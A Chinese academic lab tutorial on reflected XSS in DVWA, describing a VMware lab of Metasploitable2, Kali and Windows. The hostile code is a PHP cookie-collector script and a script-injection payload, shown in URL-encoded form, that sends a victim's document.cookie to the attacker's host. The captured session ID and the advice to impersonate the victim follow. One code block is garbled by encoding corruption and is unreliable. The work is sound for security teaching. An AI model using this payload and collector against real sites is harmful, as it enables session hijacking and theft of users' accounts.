基于DVWA下XSS跨站脚本攻击原理与实践
2018-05-14余立强
【摘要】分析反射型跨站脚本攻击的原理,在VMWare虚拟机软件中建立由Metasploitable2、Kali和Windows等组成的虚拟机局域网,配置虚拟机网络,调试好DVWA网站平台,建立WEB服务,编写获取cookie值的PHP程序,编写JavaScript恶意脚本,较好地达到了实践操作的效果。
【关键词】DVWA;XSS;跨站脚本;cookie;VMWare
XSS攻击即为跨站脚本攻击,英文为CrossSiteScripting,为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。这是当前一种非常重要的攻击方式,其危害主要体现在以下几个方面:盗取用户cookie;修改网页内容;网站挂马;利用网站重定向;XSS蠕虫等。
XSS攻击分为反射型(XSSreflected)、存储型(XSS stored)及本地利用漏洞型三种类型,这里仅介绍反射型跨站脚本攻击的原理与实践操作。
一、XSS跨站脚本攻击原理
利用DVWA平台进行XSS跨站脚本攻击的原理示意如图1所示。
在图1中,攻击者在有XSS漏洞的网站中将网页嵌入恶意脚本,如用JavaScript编写的恶意代码,当被攻击用户使用浏览器浏览点击被嵌入恶意代码网页中的链接时,恶意代码将会在用户的浏览器上执行,将被攻击用户的信息如Cookie值传输给攻击者(黑客)。攻击者获取到被攻击用户的Cookie值后绕过账号及密码的输入验证,直接登录到用户的网站,获取更有价值的信息。从而实现了跨过有XSS漏洞的网站对被攻击用户进行攻击。因此,XSS跨站脚本攻击与文件包含、命令执行、SQL注入等针对服务器端的攻击方式有很大差异,更具有隐蔽性和破坏性。
二、XSS跨站脚本攻击模拟环境拓扑结构
构建XSS跨站脚本攻击模拟环境的拓扑结构如图2所示。
宿主机一般为Windows7/10系统的PC机,安装VMWareWorkstation10.0以上版本软件;有跨站漏洞的网站由Metasploitable2虚拟机中的DVWA平台担承;攻击机是Kali虚拟机集成攻击工具;客户机是Windows7系统。这些虚拟机由VMWare虚拟网络构成星形拓扑结构的以太局域网。
三、模拟环境中虚拟机网络配置
(一)虚拟机的网络配置
在图2所示的拓扑结构中,各虚拟机的网络连接模式及IP地址分配按表1设置。
表1中的IP地址可以自己规划。考虑到宿主机通常要连接到外部网络并与内部虚拟机网络的连通,因此,在VMWare中对各虚拟机选择“仅主机”或“NAT”模式连接,使本环境中的虚拟机不暴露在外网易受攻击的网络中,保护宿主机的安全。
(二)VMWare虚拟机平台软件设置
在VMWareWorkstation10以上的软件版本上,修改VMWare的网络连接编辑配置,操作如下。
(1)点击VMWare软件菜单“编辑”,选择“虚拟网络编辑器”,进入如图3所示的窗口。
(2)点击VMnet1(仅主机模式),其配置按图3设置。
(三)网络连通性测试
经过上述配置后,分别进入三台虚拟机,进行网络连通性测试。
(1)三台虚拟机间能相互ping通。
(2)宿主机ping通各虚拟机。
(3)虚拟机ping不通宿主機。
四、XSS跨站脚本攻击前的准备工作
(一)调试有XSS漏洞的DVWA网站
!.调试"#$%网站平台
进入&()*+,-.()/,0虚拟机,核查12地址,输入命令:3.+ )445
在被攻击用户中打开16浏览器,在地址栏中输入:7((+8 99!:0.;<.0.0==9
显示&()*+,-.()/,0页面,其中有"#$%的链接,点击之>即可进入"#$%网站的界面。如果不能显示相关的页面,请检查网络配置。
0.编写?)@)AB5.+(恶意代码
可将?)@)AB5.+(的恶意代码以文本文件C)@)*B5.+(.(D(保存在宿主机中>其:
E *B5.+( F 4-BGHI(.J5.( K LE .HM*5B N O 7((+8 99!:0.;<.0.0!P9)BB+(Q B--R..+7+S B--R.NL T4-BGHI(.B--R. TL O J.4(7N= 7.M7(N= /-545N= 9FL U V ),5( K 9WAA9 U E9*B5.+(F
(二)Kali攻击机
攻击机是Kali2016,并利用其中的LAMP(apache2、MySQL、PHP服务)平台环境用来接收被害者的cookie值。
1.启动apache2服务
启动apache2服务,输入命令:#serviceapache2start
2.浏览验证apache2的默认主页
在被攻击用户中打开IE浏览器,地址栏处输入:http://172.49.2.216,显示apache2的默认页面。
3.编辑accept_cookie.php程序代码
在Kali2016集成工具中安装有PHP程序驱动模块,能够解释PHP程序的执行。因此,要在Kali2016的apache2默认主页的子目录/var/www/html/中编辑accept_cookie.php程序:
#vi/var/www/html/accept_cookie.php
<?php
date_default_timezone_set('Asia/Shanghai');
$cookie=$_GET['cookie'];//GETcookie
$ip=getenv('REMOTE_ADDR');//RemoteIP
$time=date('Y-m-dg:i:s');//
$referer=getenv('HTTP_REFERER');//refer
$agent=$_SERVER['HTTP_USER_AGENT'];//AGENT
$fp=fopen('/tmp/cookie.txt','a');//..cookie.txt
fwrite($fp,IP:.$ip.\nDateandTime:.$time.\nUserAgent:.$agent.\nReferer:.$referer.\nCookie:.$cookie.\n\n\n);//
fclose($fp);//
?>
保存退出。
accept_cookie.php程序由上述JavaScript脚本调用执行。其功能是将被害人的cookie值保存到Kali2016的子目录/tmp中,文件名为cookie.txt。
请注意子目录/tmp的权限属性为:
drwxrwxrwx12rootroot4096Nov1012:29tmp
即其它用户要有“写”的权限,否则,cookie.txt文件不能被写入/tmp目录中。当然,也可以指定其它子目录存放cookie.txt,只需该子目录对其它用户开放写的权限。
五、XSS跨站脚本攻击
在上述准备工作后,可以随时实施XSS攻击,其攻击过程如下:
(1)在被攻击用户中打开IE浏览器,在地址栏中输入:http://172.49.2.200/
(2)在Metasploitable2页面中点击DVWA链接,进入DVWA网站平台;
(3)输入账号:admin;密码:password
(4)登录成功后,在左侧栏中选择:DVWAsecurity,并在右侧窗口选择安全等级为:low,并点击“Submit”提交;
(5)继续在左侧栏中选择:XSSreflected;在右侧窗口的文本窗口中复制粘贴前述的“JavaScript的恶意代码”,点击“Submit”提交,有弹出窗口显示“/XSS”,如图4所示。
(6)在攻击机上输入命令:
#ls-l/tmp
#cat/tmp/cookie.txt
显示:IP:172.49.2.7
DateandTime:2018-11-1112:21:06
UserAgent:Mozilla/4.0(compatible;MSIE8.0;Windows NT6.1;WOW64;Trident/4.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC 6.0)
Referer:
http://172.49.2.200/dvwa/vulnerabilities/XSS_r/?name=%3Cscript%3Edocument.write%28%27%3Cimg+src% 3D%22http%3A%2F%2F172.49.2.216%2Faccept_cookie.php%3Fcookie%3D%27%2Bdocument.cookie%2B% 27%22width%3D0+height%3D0+border%3D0+%2F%3E% 27%29%3Balert%28%2FXSS%2F%29%3C%2Fscript%3E+
Cookie:security=low;
PHPSESSID=477dad0e5bc889a6bd98e9727816ad25
从上面的显示中看到了被攻击用户的cookie值:477dad0e5bc889a6bd98e9727816ad25
至此,攻击者就可以利用cookie值冒充被攻击用户登录到网站中获取其个人隐私信息。关于cookie值的利用请参考其它相关资料。
六、结语
由于XSS是针对客户端浏览器的攻击,而目前的很多浏览器都已经自带了XSS防御功能,因而建议被攻击用户的系统可采用windows7/XP/2003虚拟机,通过IE8/IE6浏览器去访问DVWA,这样能顺利地获得攻击实践操作的效果。
参考文献
[1]felix.手把手教你如何搭建自己的渗透测试环境[EB/OL]. 2016-04-27:http://www.freebuf.com/sectool/102661.html.
[2]谢文东的围脖.Metasploitable2使用指南[EB/OL].2014-05-18:https://www.freebuf.com/articles/system/34571.html.
[3]百度經验.如何安装全新的KaliLinux系统[EB/OL].:https://jingyan.baidu.com/article/ca2d939d62f4eaeb6c31ce 0f.html.
[4]Nightsay.【XSS】dvwa平台下的实战[EB/OL].2015-05-19:https://blog.csdn.net/Nightsay/article/details/45833353.
[5]百度百科.XSS攻击[EB/OL].2018-06-16:https://baike. baidu.com/item/XSS攻击/954065?fr=aladdin.
作者简介:余立强(1960—),男,江苏无锡人,无锡商业职业技术学院物联网技术学院,高级工程师,研究方向:计算机网络安全与云计算。